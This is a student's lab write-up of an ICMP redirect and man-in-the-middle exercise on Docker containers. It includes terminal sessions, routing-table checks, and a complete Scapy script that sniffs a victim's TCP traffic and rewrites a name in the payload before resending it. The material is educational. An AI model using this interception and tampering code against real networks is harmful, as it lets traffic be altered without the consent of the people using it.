

Lab 7 Demo: ICMP Redirect Attack Lab

Stephanie Salgado

Set up:



volumes



docker-
compose.
yml



mitm_
sample.py

Located lab setup files in shared folder.

```
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker-compose build
victim uses an image, skipping
attacker uses an image, skipping
malicious-router uses an image, skipping
HostB1 uses an image, skipping
HostB2 uses an image, skipping
Router uses an image, skipping
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating network "net-192.168.60.0" with the default driver
Creating malicious-router-10.9.0.111 ... done
Creating host-192.168.60.5 ... done
Creating host-192.168.60.6 ... done
Creating victim-10.9.0.5 ... done
Creating router ... done
Creating attacker-10.9.0.105 ... done
Attaching to host-192.168.60.5, host-192.168.60.6, malicious-router-10.9.0.111,
attacker-10.9.0.105, router, victim-10.9.0.5
```

To begin, I built and started the containers.

Task 1: Launching ICMP Redirect Attack

I start a shell on the attacker and victim containers.

Attacker:

```
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker exec -it attacker-10.9.0.105 bash
root@993212ab9004:/#
```

Victim:

```
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker exec -it victim-10.9.0.5 bash
root@b670f4f51ee3:/#
```

```
stephaniesalgado@VM: ~/Share/Labsetup x
root@b670f4f51ee3:/# mtr -n 192.168.60.5
```

I run the “mtr -n 192.168.60.5” command on the victim to view the route from victim to “192.168.60.5”.

```
stephaniesalgado@VM: ~/Share/Labsetup x stephaniesalgado@VM: ~/Share/Labsetup x
My traceroute [v0.93] 2024-03-21T19:20:27+0000
b670f4f51ee3 (10.9.0.5)
Keys: Help Display mode Restart statistics Order of fields quit
          Packets
Host      Loss%  Snt   Last   Avg   Best  Wrst StDev
1. 10.9.0.11 0.0%   30    0.0    0.1   0.0   0.1   0.0
2. 192.168.60.5 0.0%   30    0.1    0.1   0.1   0.1   0.0
```

The routing looks normal. Now, I can get started on the attack.

```
stephaniesalgado@VM: ~/Share/Labs... x stephaniesalgado@VM: ~/Share/Labs... x
root@b670f4f51ee3:/# ping 192.168.60.5 &
[1] 31
root@b670f4f51ee3:/# PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.048 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.064 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.083 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.065 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.065 ms
```

```

stephaniesalgado@VM: ~/Share/Labs... x stephaniesalgado
root@993212ab9004:/# cd /volumes
root@993212ab9004:/volumes# touch icmp_redirect.py
root@993212ab9004:/volumes# nano icmp_redirect.py
root@993212ab9004:/volumes# chmod a+x icmp_redirect.py

```

I ping "192.168.60.5" first. Next, I make sure I'm in the "volumes" directory then create and edit "icmp_redirect.py".

```

stephaniesalgado@VM: ~/Share/Labs... x stepha
root@993212ab9004:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@993212ab9004:/volumes#

```

While the ping is still going, I run the file.

```

stephaniesalgado@V... x stephaniesalgado@V... x stephaniesalgado@V... x
My traceroute [v0.93]
b670f4f51ee3 (10.9.0.5) 2024-03-21T20:06:15+0000
Keys: Help Display mode Restart statistics Order of fields quit

```

Host	Packets		Pings				
	Loss%	Snt	Last	Avg	Best	Wrst	StDev
1. 10.9.0.111	0.0%	9	0.1	0.1	0.0	0.1	0.0
2. 10.9.0.11	0.0%	9	0.1	0.1	0.1	0.1	0.0
3. 192.168.60.5	0.0%	9	0.1	0.1	0.1	0.1	0.0

I use "mtr -n 192.168.60.5" again, and this time, we can see "10.9.0.111" appear, which is the malicious router.

```

root@b670f4f51ee3:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
cache <redirected> expires 276sec

```

This can also be verified when running "ip route show cache".

Question 1:

```
stephaniesalgado@V... x stephaniesalgado@V...
root@993212ab9004:/volumes# touch icmp_q1.py
root@993212ab9004:/volumes# nano icmp_q1.py
root@993212ab9004:/volumes# chmod a+x icmp_q1.py
root@993212ab9004:/volumes#
```

For this question, I make another file (icmp_q1.py) and paste the contents of "icmp_redirect.py" then make it executable. This is because the file can mostly stay the same. I only changed one thing. Since the question asks if the attack can be used when the IP address assigned to "icmp.gw" is a computer not on the local LAN.

```
stephaniesalgado@V... x stephaniesalgado@V...
root@b670f4f51ee3:/# ip route flush cache
```

Before repeating the steps I took earlier, I use a command to clear the cache.

```
stephaniesalgado@V... x stephaniesalgado@V... x stephaniesalgado@V...
root@b670f4f51ee3:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.060 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.047 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.057 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.059 ms
```

Now that it's ready, I ping and let it run in the background again.

```
root@993212ab9004:/volumes# ./icmp_q1.py
.
Sent 1 packets.
root@993212ab9004:/volumes#
```

I ran the modified file.

```
stephaniesalgado@V... x stephaniesalgado@V... x stephaniesalgado@V... x
My traceroute [v0.93]
b670f4f51ee3 (10.9.0.5) 2024-03-21T20:29:57+0000
Keys: Help Display mode Restart statistics Order of fields quit
Packets
Pings
Host Loss% Snt Last Avg Best Wrst StDev
1. 10.9.0.11 0.0% 19 0.0 0.0 0.0 0.1 0.0
2. 192.168.60.5 0.0% 18 0.0 0.1 0.0 0.1 0.0
```

Then, I used “mtr -n 192.168.60.5” again and found there were no changes.

Question 2:

```
stephaniesalgado@V... x stephaniesalgado@V...
root@993212ab9004:/volumes# nano icmp_q2.py
root@993212ab9004:/volumes# chmod a+x icmp_q2.py
```

Similar to question 1, I paste the contents of the file and only modify the entry for “icmp.gw”, this time setting it to an IP address of a local computer that is either offline or non-existing.

```
stephaniesalgado@V... x stephaniesalgado
root@b670f4f51ee3:/# ip route flush cache
```

I cleared the cache again.

```
stephaniesalgado@V... x stephaniesalgado@V... x stephaniesalgado@V...
root@b670f4f51ee3:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.050 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.046 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.050 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.047 ms
```

Then ping once more.

```
root@993212ab9004:/volumes# ./icmp_q2.py
.  
Sent 1 packets.
```

Once I repeated those steps, I ran the code.

stephaniesalgado@V... ×

stephaniesalgado@V... ×

stephaniesalgado@V... ×

▼

My traceroute [v0.93]

b670f4f51ee3 (10.9.0.5)

2024-03-21T20:38:29+0000

Keys: Help Display mode Restart statistics Order of fields quit

Host	Packets		Pings				
	Loss%	Snt	Last	Avg	Best	Wrst	StDev
1. 10.9.0.11	0.0%	4	0.0	0.1	0.0	0.1	0.0
2. 192.168.60.5	0.0%	4	0.1	0.1	0.1	0.1	0.0

I observed the same results. The cache went unchanged again.

Question 3:

```
stephaniesalgado@VM:~/Share/Labsetup$ ls  
docker-compose.yml mitm_sample.py volumes  
stephaniesalgado@VM:~/Share/Labsetup$ cat docker-compose.yml  
version: "3"  
  
services:  
  victim:  
    image: handsonsecurity/seed-ubuntu:large  
    container_name: victim-10.9.0.5  
    tty: true  
    cap_add:  
      - ALL  
    sysctls:  
      - net.ipv4.conf.all.accept_redirects=1  
    privileged: true  
    networks:  
      net-10.9.0.0:  
        ipv4_address: 10.9.0.5  
    command: bash -c "  
              ip route add 192.168.60.0/24 via 10.9.0.11 &&  
              tail -f /dev/null  
            "  
  
  attacker:
```

Since this question is concerned with the contents of “docker-compose.yml” I cat the file to view the entries mentioned in the lab directions.

```
malicious-router:
  image: handsonsecurity/seed-ubuntu:large
  container_name: malicious-router-10.9.0.111
  tty: true
  cap_add:
    - ALL
  sysctls:
    - net.ipv4.ip_forward=1
    - net.ipv4.conf.all.send_redirects=0
    - net.ipv4.conf.default.send_redirects=0
    - net.ipv4.conf.eth0.send_redirects=0
```

I have to change the “0”s to “1”s.

```
stephaniesal... x stephaniesal... x stephaniesal... x stephaniesal... x
GNU nano 4.8 docker-compose.yml Modified
networks:
  net-10.9.0.0:
    ipv4_address: 10.9.0.105
command: bash -c "
    ip route add 192.168.60.0/24 via 10.9.0.11 &&
    tail -f /dev/null
"

malicious-router:
  image: handsonsecurity/seed-ubuntu:large
  container_name: malicious-router-10.9.0.111
  tty: true
  cap_add:
    - ALL
  sysctls:
    - net.ipv4.ip_forward=1
    - net.ipv4.conf.all.send_redirects=1
    - net.ipv4.conf.default.send_redirects=1
    - net.ipv4.conf.eth0.send_redirects=1
```

I use “nano docker-compose.yml” and make the changes. Then I save the file.

```
stephaniesalgado@V... x stephaniesalgado@V... x stephaniesalgado@V...
root@b670f4f51ee3:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data:
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.049 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.045 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.048 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.103 ms
```

I begin the attack by pinging again.

```
stephaniesalgado@V... x stephaniesalgado@V...
root@993212ab9004:/volumes# ls
icmp_q1.py icmp_q2.py icmp_redirect.py
root@993212ab9004:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
```

After that, I ran the original file as the ping was in progress.

```
stephaniesalgado@V... x stephaniesalgado@V... x stephaniesalgado@V... x
My traceroute [v0.93]
b670f4f51ee3 (10.9.0.5) 2024-03-21T22:14:29+0000
Keys: Help Display mode Restart statistics Order of fields quit
Packets
Pings
Host Loss% Snt Last Avg Best Wrst StDev
1. 10.9.0.11 0.0% 5 0.1 0.1 0.0 0.1 0.0
2. 192.168.60.5 0.0% 4 0.1 0.1 0.1 0.1 0.0
```

However this time, the attack was unsuccessful.

Task 2: Launching the MITM Attack

```
stephaniesal... x stephaniesal... x stephaniesal... x
"
malicious-router:
  image: handsonsecurity/seed-ubuntu:large
  container_name: malicious-router-10.9.0.111
  tty: true
  cap_add:
    - ALL
  sysctls:
    - net.ipv4.ip_forward=1
    - net.ipv4.conf.all.send_redirects=0
    - net.ipv4.conf.default.send_redirects=0
    - net.ipv4.conf.eth0.send_redirects=0
```

To start this task, I make sure I set the docker file to how it was originally.


```
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker exec -it host-192.168.60.5 bash
root@ce5c019da2aa:/# nc -lp 9090
```

I start a shell on “host-192.168.60.5” and then start the netcat server.

```
stepha... x stepha... x stepha... x
root@b670f4f51ee3:/# nc 192.168.60.5 9090
```

I connect to the server on the victim.

```
stephaniesalgado@VM:~/Share/Labsetup$ sudo sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

Using nano once again, I disable IP forwarding on the malicious router

```
stephani... x stephani... x stephanie... x stephanie... x stephanie... x
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker exec -it victim-10.9.0.5 bash
root@b670f4f51ee3:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.077 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.046 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.053 ms
```

The victim will continue pinging.

```
stephani... x stephani... x stephanie... x
root@993212ab9004:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@993212ab9004:/volumes#
```

Now, I reuse the same “icmp_redirect.py” file and run it from the attacker.

```
stephani... x stephani... x stephanie... x stephanie... x stephanie... x stephanie..
stephaniesalgado@VM:~/Share/Labsetup$ sudo docker exec -it malicious-router-10.9.0.111 bash
```

I launch a shell on the malicious router container.

```
stephaniesal... x stephaniesal... x stephaniesalg... x stephanie
root@b670f4f51ee3:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
    ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)
    RX packets 69030 bytes 6637996 (6.6 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 68906 bytes 6430960 (6.4 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

I use “ifconfig” to find the victim’s MAC address so that I can use that in the filter field.

```
stephani... x stephani... x stephanie... x
root@ec801ea4952f:/volumes# nano mitm.py
root@ec801ea4952f:/volumes# chmod a+x mitm.py
root@ec801ea4952f:/volumes# ./mitm.py
MITM ATTACK LAUNCHING.....
```

I create and edit the “mitm.py” file, make sure it’s executable then run it.

```
stephani... x stephani... x stephanie...
root@b670f4f51ee3:/# nc 192.168.60.5 9090
aaaa
Stephanie
Hello
Stephanie
hello
Stephanie
```

From the victim, I enter some words, letters and my name (which I used in the code) and should be replaced with “AAAAAAAAA”.

```
stephani... x stephani... x
root@ce5c019da2aa:/# nc -lp 9090
aaaa
AAAAAAAAA
Hello
AAAAAAAAA
hello
AAAAAAAAA
```

This is what the host received.

```
stephani... x stephani... x step
root@ec801ea4952f:/volumes# ./mitm.py
MITM ATTACK LAUNCHING.....
.
Sent 1 packets.
.
Sent 1 packets.
*** b'aaaa\n', length: 5
.
Sent 1 packets.
*** b'Stephanie\n', length: 10
.
Sent 1 packets.
*** b'Hello\n', length: 6
.
Sent 1 packets.
*** b'Stephanie\n', length: 10
.
Sent 1 packets.
*** b'hello\n', length: 6
.
Sent 1 packets.
*** b'Stephanie\n', length: 10
.
Sent 1 packets.
```

This is what it looks like from the malicious router.

Question 4:

In the mitm program, you only need to capture traffic going from the victim to the host because packets being modified are in that direction.

Question 5:

```
stephani... x stephani... x stephanie... x
root@ec801ea4952f:/volumes# nano mitm_q5.py
root@ec801ea4952f:/volumes# chmod a+x mitm_q5.py
root@ec801ea4952f:/volumes# cat mitm_q5.py
#!/usr/bin/env python3
from scapy.all import *

print("MITM ATTACK LAUNCHING.....")

def spoof_pkt(pkt):
```

I copy the contents from “mitm.py” and paste them into “mitm_q5.py”. I then make sure it’s executable.

```

stephani... x stephani... x stephanie... x stephanie... x
#!/usr/bin/env python3
from scapy.all import *

print("MITM ATTACK LAUNCHING.....")

def spoof_pkt(pkt):
    newpkt=IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data=pkt[TCP].payload.load
        print("*** %s, lenght: %d" % (data,len(data)))

        newdata=data.replace(b'Stephanie', b'AAAAAAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f='tcp and src host 10.9.0.5'
pkt=sniff(iface='eth0', filter=f, prn=spoof_pkt)
root@ec801ea4952f:/volumes#

```

I only had to change the filter from MAC address to IP address. I repeated the steps from before. I already had the host pinging so I just went and ran the new man in the middle file.

```

stephanie... x stephanie... x stephani
root@b670f4f51ee3:/# nc 192.168.60.5 9090
hello
Stephanie
Stephanie
Stephanie

```

I connected to the server and then sent this from the victim.

```

stephanie... x stephanie... x
root@ce5c019da2aa:/# nc -lp 9090
hello
Stephanie
Stephanie
Stephanie

```

Somehow, this time around the output on the host wasn't changed at all.

```
stephanie... x stephanie... x
Sent 1 packets.
.
Sent 1 packets.
*** b'AAAAAAAAA\n', lenght: 10
.
Sent 1 packets.
*** b'AAAAAAAAA\n', lenght: 10
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'hello\n', lenght: 6
.
Sent 1 packets.
*** b'hello\n', lenght: 6
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

For some reason the attack wasn't successful for me. It seems this time the malicious router output was crazy and the results that came out on the host now showed up on it for some reason. It also kept sending messages in a loop.

Summary:

I learned that Ubuntu has a built-in countermeasure against the ICMP redirect attack, but it was disabled for this lab. I found this lab to be really similar to the previous lab. Once again we used containers and the scapy library, which I've now found to be quite fun and useful. In this lab I learned how to "show" and "flush" the cache. The part I found most challenging was actually conducting the man in the middle attack. I'm not sure if it was just the timing or if I completed the steps out of order, but it took me a while to achieve success. After modifying my "mitm_q5.py" file to filter using the IP address the attack stopped working for me. I wanted to figure it out, but I'm not even sure what went wrong. Especially when the router's output was a spam of looping messages. Overall, I feel that I've been able to apply the things I've learned in previous labs here.

